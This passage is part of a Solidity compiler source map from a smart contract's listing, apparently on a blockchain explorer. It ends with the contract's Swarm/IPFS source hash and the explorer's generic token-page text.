:::i;:::-;5829:119;5987:1;6012:53;6057:7;6048:6;6037:9;6033:22;6012:53;:::i;:::-;6002:63;;5958:117;5753:329;;;;:::o;6088:86::-;6123:7;6163:4;6156:5;6152:16;6141:27;;6088:86;;;:::o;6180:112::-;6263:22;6279:5;6263:22;:::i;:::-;6258:3;6251:35;6180:112;;:::o;6298:214::-;6387:4;6425:2;6414:9;6410:18;6402:26;;6438:67;6502:1;6491:9;6487:17;6478:6;6438:67;:::i;:::-;6298:214;;;;:::o;6518:474::-;6586:6;6594;6643:2;6631:9;6622:7;6618:23;6614:32;6611:119;;;6649:79;;:::i;:::-;6611:119;6769:1;6794:53;6839:7;6830:6;6819:9;6815:22;6794:53;:::i;:::-;6784:63;;6740:117;6896:2;6922:53;6967:7;6958:6;6947:9;6943:22;6922:53;:::i;:::-;6912:63;;6867:118;6518:474;;;;;:::o;6998:116::-;7068:21;7083:5;7068:21;:::i;:::-;7061:5;7058:32;7048:60;;7104:1;7101;7094:12;7048:60;6998:116;:::o;7120:133::-;7163:5;7201:6;7188:20;7179:29;;7217:30;7241:5;7217:30;:::i;:::-;7120:133;;;;:::o;7259:468::-;7324:6;7332;7381:2;7369:9;7360:7;7356:23;7352:32;7349:119;;;7387:79;;:::i;:::-;7349:119;7507:1;7532:53;7577:7;7568:6;7557:9;7553:22;7532:53;:::i;:::-;7522:63;;7478:117;7634:2;7660:50;7702:7;7693:6;7682:9;7678:22;7660:50;:::i;:::-;7650:60;;7605:115;7259:468;;;;;:::o;7733:180::-;7781:77;7778:1;7771:88;7878:4;7875:1;7868:15;7902:4;7899:1;7892:15;7919:115;8002:1;7995:5;7992:12;7982:46;;8008:18;;:::i;:::-;7982:46;7919:115;:::o;8040:131::-;8087:7;8116:5;8105:16;;8122:43;8159:5;8122:43;:::i;:::-;8040:131;;;:::o;8177:::-;8235:9;8268:34;8296:5;8268:34;:::i;:::-;8255:47;;8177:131;;;:::o;8314:147::-;8409:45;8448:5;8409:45;:::i;:::-;8404:3;8397:58;8314:147;;:::o;8467:238::-;8568:4;8606:2;8595:9;8591:18;8583:26;;8619:79;8695:1;8684:9;8680:17;8671:6;8619:79;:::i;:::-;8467:238;;;;:::o;8711:180::-;8759:77;8756:1;8749:88;8856:4;8853:1;8846:15;8880:4;8877:1;8870:15;8897:320;8941:6;8978:1;8972:4;8968:12;8958:22;;9025:1;9019:4;9015:12;9046:18;9036:81;;9102:4;9094:6;9090:17;9080:27;;9036:81;9164:2;9156:6;9153:14;9133:18;9130:38;9127:84;;9183:18;;:::i;:::-;9127:84;8948:269;8897:320;;;:::o;9223:180::-;9271:77;9268:1;9261:88;9368:4;9365:1;9358:15;9392:4;9389:1;9382:15;9409:191;9449:3;9468:20;9486:1;9468:20;:::i;:::-;9463:25;;9502:20;9520:1;9502:20;:::i;:::-;9497:25;;9545:1;9542;9538:9;9531:16;;9566:3;9563:1;9560:10;9557:36;;;9573:18;;:::i;:::-;9557:36;9409:191;;;;:::o;9606:143::-;9663:5;9694:6;9688:13;9679:22;;9710:33;9737:5;9710:33;:::i;:::-;9606:143;;;;:::o;9755:351::-;9825:6;9874:2;9862:9;9853:7;9849:23;9845:32;9842:119;;;9880:79;;:::i;:::-;9842:119;10000:1;10025:64;10081:7;10072:6;10061:9;10057:22;10025:64;:::i;:::-;10015:74;;9971:128;9755:351;;;;:::o;10112:332::-;10233:4;10271:2;10260:9;10256:18;10248:26;;10284:71;10352:1;10341:9;10337:17;10328:6;10284:71;:::i;:::-;10365:72;10433:2;10422:9;10418:18;10409:6;10365:72;:::i;:::-;10112:332;;;;;:::o;10450:137::-;10504:5;10535:6;10529:13;10520:22;;10551:30;10575:5;10551:30;:::i;:::-;10450:137;;;;:::o;10593:345::-;10660:6;10709:2;10697:9;10688:7;10684:23;10680:32;10677:119;;;10715:79;;:::i;:::-;10677:119;10835:1;10860:61;10913:7;10904:6;10893:9;10889:22;10860:61;:::i;:::-;10850:71;;10806:125;10593:345;;;;:::o;10944:143::-;11001:5;11032:6;11026:13;11017:22;;11048:33;11075:5;11048:33;:::i;:::-;10944:143;;;;:::o;11093:351::-;11163:6;11212:2;11200:9;11191:7;11187:23;11183:32;11180:119;;;11218:79;;:::i;:::-;11180:119;11338:1;11363:64;11419:7;11410:6;11399:9;11395:22;11363:64;:::i;:::-;11353:74;;11309:128;11093:351;;;;:::o;11450:332::-;11571:4;11609:2;11598:9;11594:18;11586:26;;11622:71;11690:1;11679:9;11675:17;11666:6;11622:71;:::i;:::-;11703:72;11771:2;11760:9;11756:18;11747:6;11703:72;:::i;:::-;11450:332;;;;;:::o;11788:85::-;11833:7;11862:5;11851:16;;11788:85;;;:::o;11879:158::-;11937:9;11970:61;11988:42;11997:32;12023:5;11997:32;:::i;:::-;11988:42;:::i;:::-;11970:61;:::i;:::-;11957:74;;11879:158;;;:::o;12043:147::-;12138:45;12177:5;12138:45;:::i;:::-;12133:3;12126:58;12043:147;;:::o;12196:807::-;12445:4;12483:3;12472:9;12468:19;12460:27;;12497:71;12565:1;12554:9;12550:17;12541:6;12497:71;:::i;:::-;12578:72;12646:2;12635:9;12631:18;12622:6;12578:72;:::i;:::-;12660:80;12736:2;12725:9;12721:18;12712:6;12660:80;:::i;:::-;12750;12826:2;12815:9;12811:18;12802:6;12750:80;:::i;:::-;12840:73;12908:3;12897:9;12893:19;12884:6;12840:73;:::i;:::-;12923;12991:3;12980:9;12976:19;12967:6;12923:73;:::i;:::-;12196:807;;;;;;;;;:::o;13009:663::-;13097:6;13105;13113;13162:2;13150:9;13141:7;13137:23;13133:32;13130:119;;;13168:79;;:::i;:::-;13130:119;13288:1;13313:64;13369:7;13360:6;13349:9;13345:22;13313:64;:::i;:::-;13303:74;;13259:128;13426:2;13452:64;13508:7;13499:6;13488:9;13484:22;13452:64;:::i;:::-;13442:74;;13397:129;13565:2;13591:64;13647:7;13638:6;13627:9;13623:22;13591:64;:::i;:::-;13581:74;;13536:129;13009:663;;;;;:::o;13678:224::-;13818:34;13814:1;13806:6;13802:14;13795:58;13887:7;13882:2;13874:6;13870:15;13863:32;13678:224;:::o;13908:366::-;14050:3;14071:67;14135:2;14130:3;14071:67;:::i;:::-;14064:74;;14147:93;14236:3;14147:93;:::i;:::-;14265:2;14260:3;14256:12;14249:19;;13908:366;;;:::o;14280:419::-;14446:4;14484:2;14473:9;14469:18;14461:26;;14533:9;14527:4;14523:20;14519:1;14508:9;14504:17;14497:47;14561:131;14687:4;14561:131;:::i;:::-;14553:139;;14280:419;;;:::o;14705:180::-;14753:77;14750:1;14743:88;14850:4;14847:1;14840:15;14874:4;14871:1;14864:15;14891:180;14939:77;14936:1;14929:88;15036:4;15033:1;15026:15;15060:4;15057:1;15050:15;15077:114;15144:6;15178:5;15172:12;15162:22;;15077:114;;;:::o;15197:184::-;15296:11;15330:6;15325:3;15318:19;15370:4;15365:3;15361:14;15346:29;;15197:184;;;;:::o;15387:132::-;15454:4;15477:3;15469:11;;15507:4;15502:3;15498:14;15490:22;;15387:132;;;:::o;15525:108::-;15602:24;15620:5;15602:24;:::i;:::-;15597:3;15590:37;15525:108;;:::o;15639:179::-;15708:10;15729:46;15771:3;15763:6;15729:46;:::i;:::-;15807:4;15802:3;15798:14;15784:28;;15639:179;;;;:::o;15824:113::-;15894:4;15926;15921:3;15917:14;15909:22;;15824:113;;;:::o;15973:732::-;16092:3;16121:54;16169:5;16121:54;:::i;:::-;16191:86;16270:6;16265:3;16191:86;:::i;:::-;16184:93;;16301:56;16351:5;16301:56;:::i;:::-;16380:7;16411:1;16396:284;16421:6;16418:1;16415:13;16396:284;;;16497:6;16491:13;16524:63;16583:3;16568:13;16524:63;:::i;:::-;16517:70;;16610:60;16663:6;16610:60;:::i;:::-;16600:70;;16456:224;16443:1;16440;16436:9;16431:14;;16396:284;;;16400:14;16696:3;16689:10;;16097:608;;;15973:732;;;;:::o;16711:720::-;16946:4;16984:3;16973:9;16969:19;16961:27;;16998:79;17074:1;17063:9;17059:17;17050:6;16998:79;:::i;:::-;17124:9;17118:4;17114:20;17109:2;17098:9;17094:18;17087:48;17152:108;17255:4;17246:6;17152:108;:::i;:::-;17144:116;;17270:72;17338:2;17327:9;17323:18;17314:6;17270:72;:::i;:::-;17352;17420:2;17409:9;17405:18;17396:6;17352:72;:::i;:::-;16711:720;;;;;;;:::o;17437:442::-;17586:4;17624:2;17613:9;17609:18;17601:26;;17637:71;17705:1;17694:9;17690:17;17681:6;17637:71;:::i;:::-;17718:72;17786:2;17775:9;17771:18;17762:6;17718:72;:::i;:::-;17800;17868:2;17857:9;17853:18;17844:6;17800:72;:::i;:::-;17437:442;;;;;;:::o;17885:225::-;18025:34;18021:1;18013:6;18009:14;18002:58;18094:8;18089:2;18081:6;18077:15;18070:33;17885:225;:::o;18116:366::-;18258:3;18279:67;18343:2;18338:3;18279:67;:::i;:::-;18272:74;;18355:93;18444:3;18355:93;:::i;:::-;18473:2;18468:3;18464:12;18457:19;;18116:366;;;:::o;18488:419::-;18654:4;18692:2;18681:9;18677:18;18669:26;;18741:9;18735:4;18731:20;18727:1;18716:9;18712:17;18705:47;18769:131;18895:4;18769:131;:::i;:::-;18761:139;;18488:419;;;:::o;18913:176::-;19053:28;19049:1;19041:6;19037:14;19030:52;18913:176;:::o;19095:366::-;19237:3;19258:67;19322:2;19317:3;19258:67;:::i;:::-;19251:74;;19334:93;19423:3;19334:93;:::i;:::-;19452:2;19447:3;19443:12;19436:19;;19095:366;;;:::o;19467:419::-;19633:4;19671:2;19660:9;19656:18;19648:26;;19720:9;19714:4;19710:20;19706:1;19695:9;19691:17;19684:47;19748:131;19874:4;19748:131;:::i;:::-;19740:139;;19467:419;;;:::o;19892:223::-;20032:34;20028:1;20020:6;20016:14;20009:58;20101:6;20096:2;20088:6;20084:15;20077:31;19892:223;:::o;20121:366::-;20263:3;20284:67;20348:2;20343:3;20284:67;:::i;:::-;20277:74;;20360:93;20449:3;20360:93;:::i;:::-;20478:2;20473:3;20469:12;20462:19;;20121:366;;;:::o;20493:419::-;20659:4;20697:2;20686:9;20682:18;20674:26;;20746:9;20740:4;20736:20;20732:1;20721:9;20717:17;20710:47;20774:131;20900:4;20774:131;:::i;:::-;20766:139;;20493:419;;;:::o;20918:221::-;21058:34;21054:1;21046:6;21042:14;21035:58;21127:4;21122:2;21114:6;21110:15;21103:29;20918:221;:::o;21145:366::-;21287:3;21308:67;21372:2;21367:3;21308:67;:::i;:::-;21301:74;;21384:93;21473:3;21384:93;:::i;:::-;21502:2;21497:3;21493:12;21486:19;;21145:366;;;:::o;21517:419::-;21683:4;21721:2;21710:9;21706:18;21698:26;;21770:9;21764:4;21760:20;21756:1;21745:9;21741:17;21734:47;21798:131;21924:4;21798:131;:::i;:::-;21790:139;;21517:419;;;:::o;21942:179::-;22082:31;22078:1;22070:6;22066:14;22059:55;21942:179;:::o;22127:366::-;22269:3;22290:67;22354:2;22349:3;22290:67;:::i;:::-;22283:74;;22366:93;22455:3;22366:93;:::i;:::-;22484:2;22479:3;22475:12;22468:19;;22127:366;;;:::o;22499:419::-;22665:4;22703:2;22692:9;22688:18;22680:26;;22752:9;22746:4;22742:20;22738:1;22727:9;22723:17;22716:47;22780:131;22906:4;22780:131;:::i;:::-;22772:139;;22499:419;;;:::o;22924:224::-;23064:34;23060:1;23052:6;23048:14;23041:58;23133:7;23128:2;23120:6;23116:15;23109:32;22924:224;:::o;23154:366::-;23296:3;23317:67;23381:2;23376:3;23317:67;:::i;:::-;23310:74;;23393:93;23482:3;23393:93;:::i;:::-;23511:2;23506:3;23502:12;23495:19;;23154:366;;;:::o;23526:419::-;23692:4;23730:2;23719:9;23715:18;23707:26;;23779:9;23773:4;23769:20;23765:1;23754:9;23750:17;23743:47;23807:131;23933:4;23807:131;:::i;:::-;23799:139;;23526:419;;;:::o;23951:222::-;24091:34;24087:1;24079:6;24075:14;24068:58;24160:5;24155:2;24147:6;24143:15;24136:30;23951:222;:::o;24179:366::-;24321:3;24342:67;24406:2;24401:3;24342:67;:::i;:::-;24335:74;;24418:93;24507:3;24418:93;:::i;:::-;24536:2;24531:3;24527:12;24520:19;;24179:366;;;:::o;24551:419::-;24717:4;24755:2;24744:9;24740:18;24732:26;;24804:9;24798:4;24794:20;24790:1;24779:9;24775:17;24768:47;24832:131;24958:4;24832:131;:::i;:::-;24824:139;;24551:419;;;:::o;24976:169::-;25116:21;25112:1;25104:6;25100:14;25093:45;24976:169;:::o;25151:366::-;25293:3;25314:67;25378:2;25373:3;25314:67;:::i;:::-;25307:74;;25390:93;25479:3;25390:93;:::i;:::-;25508:2;25503:3;25499:12;25492:19;;25151:366;;;:::o;25523:419::-;25689:4;25727:2;25716:9;25712:18;25704:26;;25776:9;25770:4;25766:20;25762:1;25751:9;25747:17;25740:47;25804:131;25930:4;25804:131;:::i;:::-;25796:139;;25523:419;;;:::o;25948:248::-;26088:34;26084:1;26076:6;26072:14;26065:58;26157:31;26152:2;26144:6;26140:15;26133:56;25948:248;:::o;26202:366::-;26344:3;26365:67;26429:2;26424:3;26365:67;:::i;:::-;26358:74;;26441:93;26530:3;26441:93;:::i;:::-;26559:2;26554:3;26550:12;26543:19;;26202:366;;;:::o;26574:419::-;26740:4;26778:2;26767:9;26763:18;26755:26;;26827:9;26821:4;26817:20;26813:1;26802:9;26798:17;26791:47;26855:131;26981:4;26855:131;:::i;:::-;26847:139;;26574:419;;;:::o;26999:241::-;27139:34;27135:1;27127:6;27123:14;27116:58;27208:24;27203:2;27195:6;27191:15;27184:49;26999:241;:::o;27246:366::-;27388:3;27409:67;27473:2;27468:3;27409:67;:::i;:::-;27402:74;;27485:93;27574:3;27485:93;:::i;:::-;27603:2;27598:3;27594:12;27587:19;;27246:366;;;:::o;27618:419::-;27784:4;27822:2;27811:9;27807:18;27799:26;;27871:9;27865:4;27861:20;27857:1;27846:9;27842:17;27835:47;27899:131;28025:4;27899:131;:::i;:::-;27891:139;;27618:419;;;:::o;28043:244::-;28183:34;28179:1;28171:6;28167:14;28160:58;28252:27;28247:2;28239:6;28235:15;28228:52;28043:244;:::o;28293:366::-;28435:3;28456:67;28520:2;28515:3;28456:67;:::i;:::-;28449:74;;28532:93;28621:3;28532:93;:::i;:::-;28650:2;28645:3;28641:12;28634:19;;28293:366;;;:::o;28665:419::-;28831:4;28869:2;28858:9;28854:18;28846:26;;28918:9;28912:4;28908:20;28904:1;28893:9;28889:17;28882:47;28946:131;29072:4;28946:131;:::i;:::-;28938:139;;28665:419;;;:::o;29090:410::-;29130:7;29153:20;29171:1;29153:20;:::i;:::-;29148:25;;29187:20;29205:1;29187:20;:::i;:::-;29182:25;;29242:1;29239;29235:9;29264:30;29282:11;29264:30;:::i;:::-;29253:41;;29443:1;29434:7;29430:15;29427:1;29424:22;29404:1;29397:9;29377:83;29354:139;;29473:18;;:::i;:::-;29354:139;29138:362;29090:410;;;;:::o;29506:180::-;29554:77;29551:1;29544:88;29651:4;29648:1;29641:15;29675:4;29672:1;29665:15;29692:185;29732:1;29749:20;29767:1;29749:20;:::i;:::-;29744:25;;29783:20;29801:1;29783:20;:::i;:::-;29778:25;;29822:1;29812:35;;29827:18;;:::i;:::-;29812:35;29869:1;29866;29862:9;29857:14;;29692:185;;;;:::o;29883:194::-;29923:4;29943:20;29961:1;29943:20;:::i;:::-;29938:25;;29977:20;29995:1;29977:20;:::i;:::-;29972:25;;30021:1;30018;30014:9;30006:17;;30045:1;30039:4;30036:11;30033:37;;;30050:18;;:::i;:::-;30033:37;29883:194;;;;:::o;30083:182::-;30223:34;30219:1;30211:6;30207:14;30200:58;30083:182;:::o;30271:366::-;30413:3;30434:67;30498:2;30493:3;30434:67;:::i;:::-;30427:74;;30510:93;30599:3;30510:93;:::i;:::-;30628:2;30623:3;30619:12;30612:19;;30271:366;;;:::o;30643:419::-;30809:4;30847:2;30836:9;30832:18;30824:26;;30896:9;30890:4;30886:20;30882:1;30871:9;30867:17;30860:47;30924:131;31050:4;30924:131;:::i;:::-;30916:139;;30643:419;;;:::o;31068:225::-;31208:34;31204:1;31196:6;31192:14;31185:58;31277:8;31272:2;31264:6;31260:15;31253:33;31068:225;:::o;31299:366::-;31441:3;31462:67;31526:2;31521:3;31462:67;:::i;:::-;31455:74;;31538:93;31627:3;31538:93;:::i;:::-;31656:2;31651:3;31647:12;31640:19;;31299:366;;;:::o;31671:419::-;31837:4;31875:2;31864:9;31860:18;31852:26;;31924:9;31918:4;31914:20;31910:1;31899:9;31895:17;31888:47;31952:131;32078:4;31952:131;:::i;:::-;31944:139;;31671:419;;;:::o;32096:815::-;32351:4;32389:3;32378:9;32374:19;32366:27;;32403:71;32471:1;32460:9;32456:17;32447:6;32403:71;:::i;:::-;32484:72;32552:2;32541:9;32537:18;32528:6;32484:72;:::i;:::-;32603:9;32597:4;32593:20;32588:2;32577:9;32573:18;32566:48;32631:108;32734:4;32725:6;32631:108;:::i;:::-;32623:116;;32749:72;32817:2;32806:9;32802:18;32793:6;32749:72;:::i;:::-;32831:73;32899:3;32888:9;32884:19;32875:6;32831:73;:::i;:::-;32096:815;;;;;;;;:::o

Swarm Source

ipfs://37b54ac99aab82bc496f71bd744d1c007990338983f3c5ff35c986e62653cfc6
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.